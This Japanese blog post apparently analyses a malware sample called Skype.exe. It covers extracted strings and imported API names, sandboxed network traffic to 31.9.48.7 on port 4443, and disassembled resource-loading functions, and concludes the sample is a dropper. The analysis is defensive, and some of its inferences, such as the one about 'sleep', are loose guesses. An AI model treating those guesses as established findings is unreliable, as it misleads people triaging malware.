 文字列とはファイル内に埋め込まれたASCII・Unicodeで表現可能な文字列のことです。これらを抽出すると、マルウェアの機能などに関する手がかりがつかめます。

stringsコマンドによる抽出

このコマンドは、4文字以上のASCII文字列を抽出します。

また、Flossツールを使用した難読化された文字列のデコードも行いました。

難読化とは、アンチウイルスソフトなどにウイルスと認識されないために行う手順の一つです。実際にパターンマッチング形式を用いたアンチウイルスソフトなどには見つかりにくいです。

 

これらの実行結果でSkype.exeの特徴が見られた興味深い文字列

 

FindFirstFileW

FindResourceW

FindNextFileW
FindResourceW
FindWindowExW
FindClose

GetProcessWindowStation
GetUserObjectInformationA
GetLastActivePopup
GetActiveWindow
GetCurrentDirectoryW
GetLastError
GetCurrentProcess
GetShortPathNameW
GetLongPathNameW
GetStdHandle
GetFileType

Insert a disk with this volume...(GUIだと思われる。

sleep

COMCTL32.dll
SHLWAPI.dll
KERNEL32.dll
USER32.dll
GDI32.dll


上記コマンドの全ての実行結果が見たい場合

github.com

 上の文字列を見る限り、相手の環境を把握した上で自身のファイルを何かのファイルを探しているように見えます。また、sleepがあるのですが、これはマルウェアをユーザーが消そうとするときにスリープして削除を妨害しようとしていると考えられます。

また、211のインポート関数が設定されており、

・ファイルの新規作成、書き込み、ロード

・環境の判断

GUI

の3つに大きく分類することができました。

現在、把握できている状況では、前回(Attack.M.exeのようなダウンローダーではない。

そして、キーロガーランサムウェアなどではないと推測できます。 

 

動的解析

inetsimを使って擬似的な応答を返しながら、wiresharkで監視していきたいと思います。 

f:id:QWERTYtan:20210815225317p:plain

Attack.M.exeと同じサーバーにポート4443番にTCPで通信しようとしていました。

しかし、このSkype.exeはファイルのダウンロードやアップロードは静的解析での読み通り行っていませんでした。

このサーバーの考察はここにまとめることにしました。

qwertytan.hatenablog.jp

 

 

アセンブラ

今回のような攻撃対象にダウンロードされて実際に動いても、

・内部を破壊する様子がない

キーロガーなど情報を盗み取る様子がない

・C2サーバーなどとやり取りしていない

これを踏まえるとこのマルウェアは「ドロッパー」だと推定されます。

ドロッパーとは、追加のマルウェアコンポーネント(部品を内部に埋め込むプログラムのことです。ドロッパーが実行されるとマルウェアコンポーネントを抽出し、ディスクに配置します。しかし、まだ断定できるほどの情報が集まっていません。

そのため、逆アセンブラしてWindowsAPIを読み取ることによって、ドロッパーだろうという推察を確定させていきたいと思います。

 

ドロッパーは多くの場合、実行ファイルの

指定したファイルのリソースを戻り値とするFindResource関数、

メモリ内の最初のバイトへのポインタを戻り値するLoadResouce関数、

メモリ内の指定されたリソースへのポインタを取得するLockResource関数、

リソースのバイト数を取得するSizeOfResourece関数などが使われます。

今回これらが含まれているか逆アセンブルして調べてみたところ

↓FindResouce関数

f:id:QWERTYtan:20210816195123p:plain

↓LoadResource関数

f:id:QWERTYtan:20210816195134p:plain

↓LockResorce関数

f:id:QWERTYtan:20210816195144p:plain

↓SizeOfResorce関数

f:id:QWERTYtan:20210816195155p:plain

 

それぞれが見つかりました。

そして、キーロガーに使われるGetAsyncKeyState関数・SetWindowsHookEx関数、

C2通信に使われるInternetOpenA関数などの関数は見つからなかったため

このSkype.exeはドロッパーであると断定することができました。

 

このSkype.exeについてまとめてみると、

・Skpe.exeは、追加のマルウェアコンポーネント(部品)を内部に埋め込む

 「ドロッパー」である。

・31.9.48.7サーバーとTCP通信を試みている。

です。